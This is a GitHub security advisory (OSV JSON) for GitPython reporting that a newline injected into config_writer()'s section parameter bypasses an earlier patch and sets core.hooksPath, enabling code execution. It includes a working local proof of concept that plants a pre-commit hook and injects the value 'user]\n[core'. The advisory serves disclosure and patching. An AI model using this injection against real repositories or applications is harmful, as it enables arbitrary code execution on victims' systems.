GHSA-mv93-w799-cj2w: GitPython Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mv93-w799-cj2w",
  "modified" : "2026-05-08T23:19:02Z",
  "published" : "2026-05-08T23:19:02Z",
  "aliases" : [ ],
  "summary" : "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
  "details" : "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -> \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value — already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # → /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "GitPython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.50"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.49"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T23:19:02Z",
    "nvd_published_at" : null
  }
}